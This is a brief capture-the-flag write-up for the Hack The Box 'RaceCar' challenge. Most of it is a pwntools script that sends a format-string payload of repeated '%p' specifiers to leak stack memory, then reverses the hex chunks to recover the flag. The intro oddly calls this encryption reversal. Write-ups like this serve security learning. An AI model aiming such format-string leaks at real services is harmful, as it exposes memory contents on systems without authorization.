HackTheBox RaceCar Writeup

Explore the basics of cybersecurity in the RaceCar Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

#!/usr/bin/env python3
from pwn import *

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

try:
    context.log_level = 'ERROR'
    payload = b'%p ' * 25
    p = get_process()
    p.sendlineafter(b'Name:', b'a')
    p.sendlineafter(b'Nickname:', b'aa')
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>', payload)
    p.recv()
    response = p.recv().decode('utf-8')
    flag_hex_string = response.split('\n')[2]
    print(f'Flag encoded in hex: {flag_hex_string}')
    flag_hex_string_array = flag_hex_string.split(' ')
    flag = ''
    for piece in flag_hex_string_array:
        hex_value = piece.lstrip('0x')
        try:
            decoded_bytes = bytearray.fromhex(hex_value).decode('utf-8', errors='replace')
            reversed_bytes = decoded_bytes[::-1]
            flag += reversed_bytes
        except ValueError:
            continue

    print(f'Decoded flag: {flag.strip()}')
except Exception as e:
    print(f'An error occurred: {e}')

Summary

The RaceCar Challenge on Hack The Box is a very-easy-level challenge that uses Pwntools to send a format string payload, leak data, and decode a hexadecimal flag. The flag is reversed and displayed, demonstrating basic exploitation and string manipulation.